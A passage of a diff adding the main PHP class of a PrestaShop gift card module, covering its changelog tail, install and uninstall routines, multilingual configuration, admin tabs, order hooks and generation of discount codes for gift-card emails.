Evolution #3559: Fixed price + * BUG #3551: Admin order / blank page for ps_version < 1.5.5.0 + * BUG #3548: Display date warning PS < 1.5.5 + * Evolution #3542: Multiboutique / intégration + * + * ******* 1.0.5 ****** + * http://support.timactive.com/versions/113 + * BUG #3472: Cannot add to giftcard in the cart + * BUG #3499: Traduction not work after code formatter + * BUG #3500: installation / on time to use / image is to all + * Evolution #3462: carte cadeaux / option free delivery + * Evolution #3495: Free Shipping + * + * ******* 1.0.4 ****** + * BUG #3441: Initialisation des variables / erreur clé incorrecte + * BUG #3443: Page commande / erreur d'alignement + * + * ******* 1.0.3 ****** + * BUG #3426 Giftcard / ready to use / lang + * BUG #3427 Date d'envoi inférieur au lieu supérieur + * BUG #3428 Front / apercu Pdf / langue autre que fr et en + * + * ******* 1.0.2 ****** + * BUG 3300 TPL 1.5, no image, breadcrumb ... + * ******* 1.0.1 ****** + * BUG 3364 Prestashop 1.5 create default template error update + */ + +if (! defined ( '_PS_VERSION_' )) + exit (); + +if (! defined ( '_MYSQL_ENGINE_' )) + define ( '_MYSQL_ENGINE_', 'MyISAM' ); + +require_once (_PS_MODULE_DIR_.'giftcard/models/GiftCardProduct.php'); +require_once (_PS_MODULE_DIR_.'giftcard/models/GiftCardOrder.php'); +require_once (_PS_MODULE_DIR_.'giftcard/models/GiftCardTag.php'); +require_once (_PS_MODULE_DIR_.'giftcard/models/GiftCardTemplate.php'); +require_once (_PS_MODULE_DIR_.'giftcard/models/PDFGiftCard.php'); +require_once (_PS_MODULE_DIR_.'giftcard/tools/GiftCardTools.php'); +require_once (_PS_MODULE_DIR_.'giftcard/tools/MailGiftCard.php'); +class Giftcard extends Module { + public function __construct() + { + $this->name = 'giftcard'; + $this->version = '1.0.8'; + $this->module_key = '5cab7347ab5e4b12806ca91019ec40ba'; + $this->accesslog = false; + parent::__construct (); + $this->bootstrap = true; + $this->page = basename ( __FILE__, '.php' ); + $this->tab = 'pricing_promotion'; + $this->author = 'Timactive'; + $this->displayName = $this->l ( 'Gift card' ); + $this->description = $this->l ( 'Add the functionality needed to the creation, management and use of gift card.' ); + $this->template_front_directory = dirname ( __FILE__ ).'/views/templates/front/'; + $this->template_admin_directory = dirname ( __FILE__ ).'/views/templates/admin/'; + $this->confirmUninstall = $this->l ( 'Are you sure uninstall module gift card , all information will be deleted?' ); + $this->log_directory = dirname ( __FILE__ ).'/logs/'; + $this->img_directory = _MODULE_DIR_.'giftcard/img/'; + $this->log_fic_name = ''; + // Current version of the module + // Min version of PrestaShop wich the module can be install + $this->ps_versions_compliancy['min'] = '1.5'; + $this->imagick = false; + if (extension_loaded ( 'imagick' )) + $this->imagick = true; + if ((Configuration::get('GIFTCARD_VERSION') != $this->version) && Configuration::get('GIFTCARD_VERSION')) + $this->runUpgrades(true); + } + public function install() + { + $sql = ''; + include (dirname ( __FILE__ ).'/sql/sql-install.php'); + /* ISSUE 3241 : Catbibi */ + Configuration::updateGlobalValue ( 'PS_CUSTOMIZATION_FEATURE_ACTIVE', '1' ); + Configuration::updateGlobalValue ( 'PS_VIRTUAL_PROD_FEATURE_ACTIVE', '1' ); + foreach ($sql as $s) + { + if (! Db::getInstance ()->execute ( $s )) + return false; + } + $categorygift = new Category (); + $languages = Language::getLanguages (); + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $categorygift->name[(int)$language['id_lang']] = 'Module Carte Cadeau ne pas supprimer'; + else + $categorygift->name[(int)$language['id_lang']] = 'Gift Card Addon no delete'; + } + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $categorygift->link_rewrite[(int)$language['id_lang']] = 'carte-cadeau-'.(int)$language['id_lang']; + else + $categorygift->link_rewrite[(int)$language['id_lang']] = 'gift-card-'.(int)$language['id_lang']; + } + $categorygift->active = 0; + $catroot = Category::getRootCategory (); + Configuration::updateValue ( 'GIFTCARD_TOKEN', $this->generateCode ( '', 20, false ) ); + Configuration::updateValue ( 'GIFTCARD_PREFIX', 'GC_' ); + /* from */ + $fromL = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $fromL[$language['id_lang']] = 'De la part de'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $fromL[$language['id_lang']] = 'Desde'; + else + $fromL[$language['id_lang']] = 'From'; + } + Configuration::updateValue ( 'GIFTCARD_CF_FROM', $fromL ); + Configuration::updateValue ( 'GIFTCARD_PDF_IMG_WIDTH', 300 ); + Configuration::updateValue ( 'GIFTCARD_PDF_IMG_HEIGHT', 191 ); + Configuration::updateValue ( 'GIFTCARD_MAIL_IMG_WIDTH', 300 ); + Configuration::updateValue ( 'GIFTCARD_MAIL_IMG_HEIGHT', 191 ); + Configuration::updateValue ( 'GIFTCARD_FRONT_IMG_WIDTH', 300 ); + Configuration::updateValue ( 'GIFTCARD_FRONT_IMG_HEIGHT', 191 ); + Configuration::updateValue ( 'GIFTCARD_FRONT_LIMG_WIDTH', 800 ); + Configuration::updateValue ( 'GIFTCARD_FRONT_LIMG_HEIGHT', 460 ); + $frontcontent_install_dir = _PS_ROOT_DIR_.'/modules/giftcard/datadefault/frontcontent/'; + $frontcontents = array (); + foreach ($languages as $language) + { + $content = ''; + if (@file_exists ( $frontcontent_install_dir.$language['iso_code'].'/content.html' )) + $content = @Tools::file_get_contents ( $frontcontent_install_dir.$language['iso_code'].'/content.html' ); + elseif (@file_exists ( $frontcontent_install_dir.'en/content.html' )) + $content = @Tools::file_get_contents ( $frontcontent_install_dir.'en/content.html' ); + $frontcontents[$language['id_lang']] = $content; + } + Configuration::updateValue ( 'GIFTCARD_FRONT_CONTENT', $frontcontents, true ); + $toL = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $toL[$language['id_lang']] = 'Email destinataire'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $toL[$language['id_lang']] = 'Email destinatario'; + else + $toL[$language['id_lang']] = 'Email recipient'; + } + Configuration::updateValue ( 'GIFTCARD_CF_TO', $toL ); + $LastnameL = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $LastnameL[$language['id_lang']] = 'Nom'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $LastnameL[$language['id_lang']] = 'Appelido'; + else + $LastnameL[$language['id_lang']] = 'Lastname'; + } + Configuration::updateValue ( 'GIFTCARD_CF_LASTNAME', $LastnameL ); + $deliverydatel = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $deliverydatel[$language['id_lang']] = 'Date d\'envoi'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $deliverydatel[$language['id_lang']] = 'Fecha de envío'; + else + $deliverydatel[$language['id_lang']] = 'Date send'; + } + Configuration::updateValue ( 'GIFTCARD_CF_DATESEND', $deliverydatel ); + $MessageL = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $MessageL[$language['id_lang']] = 'Message'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $MessageL[$language['id_lang']] = 'Mensaje'; + else + $MessageL[$language['id_lang']] = 'Message'; + } + Configuration::updateValue ( 'GIFTCARD_CF_MESSAGE', $MessageL ); + $TemplateL = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $TemplateL[$language['id_lang']] = 'Modèle'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $TemplateL[$language['id_lang']] = 'Modelo'; + else + $TemplateL[$language['id_lang']] = 'Template'; + } + Configuration::updateValue ( 'GIFTCARD_CF_TEMPLATE', $TemplateL ); + $objs = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $objs[$language['id_lang']] = 'Carte cadeau offerte par %s'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $objs[$language['id_lang']] = 'Tarjeta regalo ofrecido por %s'; + else + $objs[$language['id_lang']] = 'Gift card offer from %s'; + } + Configuration::updateValue ( 'GIFTCARD_MAIL_OBJ_REC', $objs ); + $objs = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $objs[$language['id_lang']] = 'Votre carte cadeau'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $objs[$language['id_lang']] = 'Tarjeta regalo'; + else + $objs[$language['id_lang']] = 'Your gift card'; + } + Configuration::updateValue ( 'GIFTCARD_MAIL_OBJ_CUST', $objs ); + $pdf_install_dir = _PS_ROOT_DIR_.'/modules/giftcard/datadefault/pdf/'; + $pdfcontents = array (); + foreach ($languages as $language) + { + $content = ''; + if (@file_exists ( $pdf_install_dir.$language['iso_code'].'/pdfcontent.html' )) + $content = @Tools::file_get_contents ( $pdf_install_dir.$language['iso_code'].'/pdfcontent.html' ); + elseif (@file_exists ( $pdf_install_dir.'en/pdfcontent.html' )) + $content = @Tools::file_get_contents ( $pdf_install_dir.'en/pdfcontent.html' ); + $pdfcontents[$language['id_lang']] = $content; + } + Configuration::updateValue ( 'GIFTCARD_PDF_CONTENT', $pdfcontents, true ); + + $pdf_prefixs = array (); + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) == 'fr') + $pdf_prefixs[$language['id_lang']] = 'CARTECADEAU-'; + elseif (Tools::strtolower ( $language['iso_code'] ) == 'es') + $pdf_prefixs[$language['id_lang']] = 'TARJETAREGALO-'; + else + $pdf_prefixs[$language['id_lang']] = 'GIFTCARD-'; + } + Configuration::updateValue ( 'GIFTCARD_PDF_PREFIX', $pdf_prefixs ); + Configuration::updateValue('GIFTCARD_VERSION', $this->version); + $categorygift->id_parent = $catroot->id; + if (! $categorygift->add ()) + return false; + if (! Configuration::updateValue ( 'GIFTCARD_CATEGORY_ID', $categorygift->id )) + return false; + if (! parent::install () || ! $this->installModuleTab () || ! $this->registerHook ( 'actionValidateOrder' ) || ! $this->registerHook ( 'shoppingCart' ) || ! $this->registerHook ( 'actionOrderStatusUpdate' ) || ! $this->registerHook ( 'displayHeader' ) || ! $this->registerHook ( 'displayAdminOrder' ) || ! $this->registerHook ( 'displayFooter' ) || ! $this->registerHook ( 'displayLeftColumn' )) + return false; + return true; + } + public function runUpgrades($install = false) + { + if (Configuration::get('GIFTCARD_VERSION') != $this->version) + foreach (array('1.0.5','1.0.6','1.0.7') as $version) + { + $file = dirname(__FILE__).'/upgrade/install-'.$version.'.php'; + if (Configuration::get('GIFTCARD_VERSION') < $version && file_exists($file)) + { + include_once $file; + call_user_func('upgrade_module_'.str_replace('.', '_', $version), $this, $install); + } + } + Configuration::updateValue('GIFTCARD_VERSION', $this->version); + } + public function uninstall() + { + $sql = ''; + include (dirname ( __FILE__ ).'/sql/sql-uninstall.php'); + $giftcards = GiftCardProduct::getGiftCards ( null ); + $templates = GiftCardTemplate::getTemplates (); + /* delete properly giftcards */ + foreach ($giftcards as $giftcard) + { + $product = new Product ( (int)$giftcard['id_product'] ); + if ($product->id) + $product->delete (); + } + /* delete properly template */ + foreach ($templates as $template) + { + $template = new GiftCardTemplate ( (int)$template['id_gift_card_template'] ); + if ($template->id) + $template->delete (); + } + foreach ($sql as $s) + { + if (! Db::getInstance ()->execute ( $s )) + return false; + } + if (($id_category = (int)Configuration::get ( 'GIFTCARD_CATEGORY_ID' )) && $id_category > 0) + { + $category = new Category ( $id_category ); + if (! $category->delete ()) + return false; + } + Configuration::deleteByName ( 'GIFTCARD_CATEGORY_ID' ); + Configuration::deleteByName ( 'GIFTCARD_TOKEN' ); + Configuration::deleteByName ( 'GIFTCARD_PREFIX' ); + Configuration::deleteByName ( 'GIFTCARD_CF_FROM' ); + Configuration::deleteByName ( 'GIFTCARD_CF_TO' ); + Configuration::deleteByName ( 'GIFTCARD_CF_DATESEND' ); + Configuration::deleteByName ( 'GIFTCARD_CF_MESSAGE' ); + Configuration::deleteByName ( 'GIFTCARD_CF_TEMPLATE' ); + Configuration::deleteByName ( 'GIFTCARD_MAIL_OBJ_REC' ); + Configuration::deleteByName ( 'GIFTCARD_MAIL_OBJ_CUST' ); + Configuration::deleteByName ( 'GIFTCARD_PDF_CONTENT' ); + Configuration::deleteByName ( 'GIFTCARD_PDF_IMG_WIDTH' ); + Configuration::deleteByName ( 'GIFTCARD_PDF_IMG_HEIGHT' ); + Configuration::deleteByName ( 'GIFTCARD_MAIL_IMG_WIDTH' ); + Configuration::deleteByName ( 'GIFTCARD_MAIL_IMG_HEIGHT' ); + Configuration::deleteByName ( 'GIFTCARD_FRONT_IMG_WIDTH' ); + Configuration::deleteByName ( 'GIFTCARD_FRONT_IMG_HEIGHT' ); + Configuration::deleteByName ( 'GIFTCARD_FRONT_LIMG_WIDTH' ); + Configuration::deleteByName ( 'GIFTCARD_FRONT_LIMG_HEIGHT' ); + Configuration::deleteByName ( 'GIFTCARD_PDF_PREFIX' ); + if (! parent::uninstall () || ! $this->uninstallModuleTab ()) + return false; + return true; + } + + /* Installation de l'onglet */ + private function installModuleTab() + { + $adminTabCatalogId = Tab::getIdFromClassName ( 'AdminCatalog' ); + $adminTabOrderId = Tab::getIdFromClassName ( 'AdminOrders' ); + /* Gift Card Template */ + $tabgiftcardtemplate = new Tab (); + $languages = Language::getLanguages ( true ); + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $tabgiftcardtemplate->name[(int)$language['id_lang']] = 'Cartes Cadeaux Modèles'; + else + $tabgiftcardtemplate->name[(int)$language['id_lang']] = 'Templates Gift Cards'; + } + $tabgiftcardtemplate->class_name = 'AdminGiftCardTemplate'; + $tabgiftcardtemplate->module = 'giftcard'; + $tabgiftcardtemplate->id_parent = $adminTabCatalogId; + if (! $tabgiftcardtemplate->save ()) + return false; + $tabgiftcardproduct = new Tab (); + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $tabgiftcardproduct->name[(int)$language['id_lang']] = 'Cartes Cadeaux'; + else + $tabgiftcardproduct->name[(int)$language['id_lang']] = 'Gift Cards'; + } + $tabgiftcardproduct->class_name = 'AdminGiftCard'; + $tabgiftcardproduct->module = 'giftcard'; + $tabgiftcardproduct->id_parent = $adminTabCatalogId; + if (! $tabgiftcardproduct->save ()) + return false; + $tabgiftcardorder = new Tab (); + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $tabgiftcardorder->name[(int)$language['id_lang']] = 'Cartes Cadeaux'; + else + $tabgiftcardorder->name[(int)$language['id_lang']] = 'Gift Cards'; + } + $tabgiftcardorder->class_name = 'AdminGiftCardOrder'; + $tabgiftcardorder->module = 'giftcard'; + $tabgiftcardorder->id_parent = $adminTabOrderId; + if (! $tabgiftcardorder->save ()) + return false; + return true; + } + private function uninstallModuleTab() + { + $idTabProduct = Tab::getIdFromClassName ( 'AdminGiftCard' ); + $idTabOrder = Tab::getIdFromClassName ( 'AdminGiftCardOrder' ); + $idTabTemplate = Tab::getIdFromClassName ( 'AdminGiftCardTemplate' ); + if ($idTabTemplate != 0) + { + $tabTemplate = new Tab ( $idTabTemplate ); + $tabTemplate->delete (); + } + if ($idTabProduct != 0) + { + $tabProduct = new Tab ( $idTabProduct ); + $tabProduct->delete (); + } + if ($idTabOrder != 0) + { + $tabOrder = new Tab ( $idTabOrder ); + $tabOrder->delete (); + return true; + } + return false; + } + public function hookDisplayLeftColumn($params) + { + $this->context->controller->addCSS ( ($this->_path).'css/giftcard.css', 'all' ); + $this->context->smarty->assign ( array ( + 'link_choicegiftcard' => $this->context->link->getModuleLink ( 'giftcard', 'choicegiftcard' ) + ) ); + //return $this->display ( __FILE__, 'blockgiftcard.tpl' ); + } + public function hookDisplayRightColumn($params) + { + return $this->hookDisplayLeftColumn ( $params ); + } + public function hookDisplayHeader() + { + /* + * $this->context->controller->addCSS(($this->_path).'choicegiftcard.css', 'all'); $this->context->controller->addJS($this->_path.'js/choicegiftcard.js', 'all'); + */ + } + + public function hookDisplayMobileHeader() + { + $this->context->controller->addCSS(array( + ($this->_path).'css/giftcard.css' => 'all', + ($this->_path).'css/choicegiftcard.css' => 'all', + ($this->_path).'css/giftcardorder.css' => 'all', + _PS_CSS_DIR_.'css/jquery.fancybox-1.3.4.css' => 'all' + ) ); + + $this->context->controller->addJqueryPlugin ( array ( + 'fancybox', + 'scrollTo', + 'serialScroll' + ) ); + $this->context->controller->addJS ( array ( + _THEME_JS_DIR_.'tools.js', + _MODULE_DIR_.'giftcard/js/jquery.jcarousel.min.js', + _MODULE_DIR_.'giftcard/js/choicegiftcard.js' + ) ); + + if (Configuration::get ( 'PS_DISPLAY_JQZOOM' ) == 1) + $this->context->controller->addJqueryPlugin ( 'jqzoom' ); + } + + + public function hookDisplayFooter() + { + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 1 && (int)date ( 'Ymd' ) > (int)Configuration::get ( 'GIFTCARD_BATCHLASTDATE' )) + return ''; + } + public function hookDisplayAdminOrder($params) + { + $errors = array (); + $infos = array (); + $warnings = array (); + if (Tools::isSubmit ( 'cancelGiftCardOrder' ) && Validate::isUnsignedId ( Tools::getValue ( 'id_gift_card_order' ) )) + { + $giftcardOrder = new GiftCardOrder ( (int)Tools::getValue ( 'id_gift_card_order' ) ); + if (isset ( $giftcardOrder->id_cart_rule ) && (int)$giftcardOrder->id_cart_rule > 0) + { + $cartRule = new CartRule ( (int)$giftcardOrder->id_cart_rule ); + $cartRule->active = 0; + if (! $cartRule->update ()) + $errors[] = $this->l ( 'Error update cartrule' ); + else + { + $giftcardOrder->status = 'CANCEL'; + $firstname = $this->context->employee->firstname; + $lastname = $this->context->employee->lastname; + $message = $this->l ( 'Cancel Gift card by employee ' ).Tools::ucfirst ( $firstname ).' '.Tools::ucfirst ( $lastname ); + $giftcardOrder->addInfoLine ( $message ); + if (! $giftcardOrder->update ()) + $errors[] = $this->l ( 'Error update gift card order' ); + else + $infos[] = $this->l ( 'Gift card is canceled with successful' ); + } + } + } + if (Tools::isSubmit ( 'activeGiftCardOrder' ) && Validate::isUnsignedId ( Tools::getValue ( 'id_gift_card_order' ) )) + { + $giftcardOrder = new GiftCardOrder ( (int)Tools::getValue ( 'id_gift_card_order' ) ); + if (isset ( $giftcardOrder->id_cart_rule ) && (int)$giftcardOrder->id_cart_rule > 0) + { + $cartRule = new CartRule ( (int)$giftcardOrder->id_cart_rule ); + $cartRule->active = 1; + if (! $cartRule->update ()) + $errors[] = $this->l ( 'Error update cartrule' ); + else + { + $giftcardOrder->status = 'CREATED'; + $firstname = $this->context->employee->firstname; + $lastname = $this->context->employee->lastname; + $message = $this->l ( 'Active Gift card by employee ' ).Tools::ucfirst ( $firstname ).' '.Tools::ucfirst ( $lastname ); + $giftcardOrder->addInfoLine ( $message ); + if (! $giftcardOrder->update ()) + $errors[] = $this->l ( 'Error update gift card order' ); + else + $infos[] = $this->l ( 'Gift card is actived with successful' ); + } + } + } + $this->_html = ''; + $current_index = AdminController::$currentIndex; + $id_order = (int)$params['id_order']; + $giftcardsorder = GiftCardOrder::exists ( $id_order, null, true ); + $purchaseorders = GiftCardOrder::getPurchaseOrders ( (int)$params['id_order'], (int)$this->context->language->id ); + if (($giftcardsorder && isset ( $giftcardsorder )) || ($purchaseorders && isset ( $purchaseorders ))) + { + $order = new Order ( (int)$id_order ); + $orderState = new OrderState ( $order->current_state ); + $this->context->smarty->assign ( array ( + 'ps_version' => _PS_VERSION_, + 'order' => $order, + 'currentState' => $orderState, + 'infos' => $infos, + 'errors' => $errors, + 'warnings' => $warnings, + 'current_index' => $current_index, + 'purchaseorders' => $purchaseorders, + 'giftcardsorder' => $giftcardsorder, + 'base_url' => _PS_BASE_URL_.__PS_BASE_URI__, + 'params' => $params + ) ); + $this->_html .= $this->display ( __FILE__, 'admin_order.tpl' ); + } + return ($this->_html); + } + public function isGiftCard($id_product) + { + return (GiftCardProduct::isGiftCard ( $id_product )); + } + /* + * Hook::exec('actionValidateOrder', array( 'cart' => $this->context->cart, 'order' => $order, 'customer' => $this->context->customer, 'currency' => $this->context->currency, 'orderStatus' => $order_status )); + */ + public static function getOrderedCustomizationsInProduct($id_cart, $id_product) + { + if (! $result = Db::getInstance ( _PS_USE_SQL_SLAVE_ )->executeS ( 'SELECT `id_customization`, `quantity`,`id_product` FROM `'._DB_PREFIX_.'customization` WHERE `id_product`='.(int)$id_product.' AND `id_cart` = '.(int)($id_cart) )) + return false; + $customizations = array (); + foreach ($result as $row) + $customizations[(int)($row['id_customization'])] = $row; + return $customizations; + } + public static function getCustDataValue($id_customization, $index) + { + $sql = 'SELECT `value` FROM `'._DB_PREFIX_.'customized_data` + WHERE `id_customization` = '.(int)$id_customization.' AND `index`='.$index; + if (! $result = Db::getInstance ( _PS_USE_SQL_SLAVE_ )->getRow ( $sql )) + return false; + return $result['value']; + } + public function hookActionValidateOrder($params) + { + // $currency = $params['currency']; + $order = $params['order']; + $customer = $params['customer']; + $orderStatus = $params['orderStatus']; + $products = $params['cart']->getProducts(); + // $currency_default = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + foreach ($products as $product) + { + $id_product = (int)$product['id_product']; + // $productqtyincart = (int)$product['cart_quantity']; + $productqtydo = 0; + $card = new GiftCardProduct ( $id_product ); + if (GiftCardProduct::isGiftCard ( (int)$product['id_product'] )) + { + /* first build customizations */ + $customizations = self::getOrderedCustomizationsInProduct ( $params['cart']->id, $id_product ); + foreach ($customizations as $customization) + { + $customquantity = (int)$customization['quantity']; + $from = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_from ); + $template_id = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_template ); + $mail_to = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_mailto ); + $lastname = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_lastname ); + $message = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_message ); + $delivery_date = self::getCustDataValue ( $customization['id_customization'], $card->id_customization_field_deliverydate ); + $i = 0; + for ($i = 1; $i <= $customquantity; $i ++) + { + $giftcardOrder = new GiftCardOrder (); + $giftcardOrder->id_customization = (int)$customization['id_customization']; + $giftcardOrder->id_gift_card_template = (int)$template_id; + $giftcardOrder->receptmode = ((isset ( $mail_to ) && ! empty ( $mail_to ) && trim ( $mail_to ) != '') ? 1 : 0); + $giftcardOrder->to_mail = ((isset ( $mail_to ) && trim ( $mail_to ) != '') ? $mail_to : null); + $giftcardOrder->message = ((isset ( $message ) && trim ( $message ) != '') ? $message : null); + $giftcardOrder->lastname = ((isset ( $lastname ) && trim ( $lastname ) != '') ? $lastname : null); + $giftcardOrder->from = ((isset ( $from ) && trim ( $from ) != '') ? $from : null); + $giftcardOrder->sended = false; + $giftcardOrder->period_val = $card->period_val; + $giftcardOrder->delivery_date = ((isset ( $delivery_date ) && trim ( $delivery_date ) != '') ? $delivery_date : null); + $giftcardOrder->customer_mail = $customer->email; + $giftcardOrder->id_currency = $order->id_currency; + $giftcardOrder->id_lang = $order->id_lang; + $giftcardOrder->id_order = $order->id; + $giftcardOrder->id_product = (int)($product['id_product']); + $giftcardOrder->price = $card->amount; + $giftcardOrder->status = 'WAIT'; + $giftcardOrder->add (); + $productqtydo ++; + } + } + /* + * while($productqtydo < $productqtyincart) { $giftcardOrder = new GiftCardOrder(); $giftcardOrder->customer_mail = $customer->email; $giftcardOrder->id_currency = $order->id_currency; $giftcardOrder->id_lang=$order->id_lang; $giftcardOrder->id_order = $order->id; $giftcardOrder->id_product= (int)($product['id_product']); $giftcardOrder->price=$card->amount; $giftcardOrder->status='WAIT'; $giftcardOrder->add(); $productqtydo++; } + */ + } + } + if ($orderStatus->logable) + $this->buildAndSend ( $order->id ); + } + /* + * Hook call before update arg new_os is Hook::exec('actionOrderStatusUpdate', array( 'newOrderStatus' => $new_os, 'id_order' => (int)$order->id )); + */ + public function hookActionOrderStatusUpdate($params) + { + $new_os = $params['newOrderStatus']; + $id_order = (int)$params['id_order']; + if ($new_os->logable) + $this->buildAndSend ( $id_order ); + /* + * if (!$new_os->logable) { } + */ + } + /* Send mail to recipient of the gift card */ + public function sendPendingMailRecipient() + { + $giftcardorders = GiftCardOrder::getGiftCardOrdersToSend (); + if ($giftcardorders) + { + foreach ($giftcardorders as $go) + { + $giftcardOrder = new GiftCardOrder ( (int)$go['id_gift_card_order'] ); + $giftcardOrder->sendingMail (); + $giftcardOrder->update (); + } + } + } + public static function generateCode($prefix = '', $length = 8, $cardrulecheck = false) + { + $code = ''; + $possible = '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $maxlength = Tools::strlen ( $possible ); + if ($length > $maxlength) + $length = $maxlength; + $i = 0; + while ($i < $length) + { + $char = Tools::substr ( $possible, mt_rand ( 0, $maxlength - 1 ), 1 ); + if (! strstr ( $code, $char )) + { + $code .= $char; + $i ++; + } + } + if ($cardrulecheck) + { + $id = CartRule::getIdByCode ( $prefix.$code ); + /* test si le code existe */ + if ($id && (int)$id > 0) + { + $length ++; + return (generateCode ( $prefix, $length, $cardrulecheck )); + } + } + return $prefix.$code; + } + public function buildAndSend($id_order) + { + if ($giftcardsorders = GiftCardOrder::exists ( $id_order, 'WAIT', true )) + { + if (isset ( $giftcardsorders ) && $giftcardsorders != false) + { + $order = new Order ( (int)($id_order) ); + $customer = new Customer ( (int)$order->id_customer ); + foreach ($giftcardsorders as $key => $giftcardsorder) + { + /* for each */ + $giftcardOrder = new GiftCardOrder ( (int)$giftcardsorder['id_gift_card_order'] ); + $giftcard = new GiftCardProduct ( (int)$giftcardsorder['id_product'] ); + $cartRule = new CartRule (); + /* Information */ + $cartRule->highlight = 0; + if (! isset ( $giftcard->id ) || ! Validate::isLoadedObject ( $giftcard ) || ! ((int)$giftcard->id > 0)) + { + $languages = Language::getLanguages (); + foreach ($languages as $language) + if ($language['iso_code'] == 'fr') + $cartRule->name[(int)$language['id_lang']] = 'Carte cadeau '.(string)$giftcardOrder->price; + else + $cartRule->name[(int)$language['id_lang']] = 'Gift card '.(string)$giftcardOrder->price; + } + else + $cartRule->name = $giftcard->name; + $cartRule->partial_use = (int)$giftcard->cr_partial_use; + $cartRule->free_shipping = (int)$giftcard->cr_free_shipping; + /* Condition */ + $cartRule->date_to = date ( 'Y-m-d H:i:s', mktime ( date ( 'H' ), date ( 'i' ), date ( 's' ), date ( 'm' ) + ((int)($giftcardOrder->period_val)), date ( 'd' ), date ( 'Y' ) ) ); + $cartRule->date_from = date ( 'Y-m-d H:i:s' ); + $cartRule->quantity = 1; + $cartRule->quantity_per_user = 1; + /* minimum amount */ + $cartRule->minimum_amount = 0; + /* Compatibilité avec les autre règles paniers */ + $cartRule->cart_rule_restriction = 0; + /** + * **** Action ***** + */ + $cartRule->reduction_tax = 1; + $cartRule->reduction_currency = $giftcardOrder->id_currency; + $cartRule->reduction_amount = $giftcardOrder->price; + $cartRule->reduction_percent = 0; + $cartRule->reduction_product = 0; + $prefix = Configuration::get ( 'GIFTCARD_PREFIX' ); + $code = $this->generateCode ( $prefix, 20, true ); + $cartRule->code = $code; + $default_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $language_default = new Language ( $default_lang ); + if (Tools::strtolower ( $language_default->iso_code ) == 'fr') + $cartRule->description = 'Module Carte cadeau'; + elseif (Tools::strtolower ( $language_default->iso_code ) == 'es') + $cartRule->description = 'Tarjeta de Regalo'; + else + $cartRule->description = 'Gift Card Addon'; + + if ($cartRule->add ()) + $giftcardOrder->status = 'CREATED'; + else + $giftcardOrder->status = 'ERROR'; + + $giftcardOrder->discountcode = $cartRule->code; + $giftcardOrder->id_cart_rule = $cartRule->id; + $giftcardOrder->sended = 0; + $giftcardOrder->sendingMail ( $customer ); + $giftcardOrder->update (); + } + } + } + } + public function buildFieldLang($field_key = null) + { + $languages = Language::getLanguages ( true ); + $cffieldL = array (); + foreach ($languages as $language) + $cffieldL[$language['id_lang']] = Tools::getValue ( $field_key.'_'.$language['id_lang'] ); + return ($cffieldL); + } + public function validateCustomField($cffieldL, $field_name, $methodvalidate = 'isName') + { + $error = ''; + $default_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + if (! isset ( $cffieldL[$default_lang] ) || empty ( $cffieldL[$default_lang] )) + { + $language_default = new Language ( $default_lang ); + $error .= $this->displayError ( sprintf ( $this->l ( 'Field \'%s\' is required for the default lang ' ).$language_default->iso_code, $field_name ) ); + } + foreach ($cffieldL as $key => $cffield) + { + if (! empty ( $cffield ) && ! Validate::$methodvalidate ( $cffield )) + { + $language = new Language ( (int)$key ); + if ($language && isset ( $language->iso_code ) && Validate::isLanguageIsoCode ( $language->iso_code )) + $error .= $this->displayError ( sprintf ( $this->l ( 'Field %1$s with value \'%2$s\' is not valid format, iso code ' ).$language->iso_code, $field_name, $cffield ) ); + } + } + return ($error); + } + public function getContent() + { + $output = null; + if (Tools::isSubmit ( 'loaddefault' )) + { + $issvg = ((int)Tools::getValue ( 'withgenerictemplate' ) ? true : false); + if (! $this->imagick && $issvg) + $output .= $this->displayError ( $this->l ( 'To use generic templates, you must install imagick, imagick is a popular free extension php' ) ); + else + { + GiftCardTools::creatingDefaultTemplates ( $issvg ); + GiftCardTools::creatingDefaultGiftCards (); + } + } + if (Tools::isSubmit ( 'submit'.$this->name )) + { + $prefix = (string)Tools::getValue ( 'prefix' ); + $front_contentL = $this->buildFieldLang ( 'front_content' ); + $errorreturn = self::validateCustomField ( $front_contentL, $this->l ( 'Text in front office' ), 'isCleanHtml' ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_FRONT_CONTENT', $front_contentL, true ); + else + $output .= $errorreturn; + $cf_templateL = $this->buildFieldLang ( 'cf_template' ); + $errorreturn = self::validateCustomField ( $cf_templateL, $this->l ( 'Template label' ) ); + if 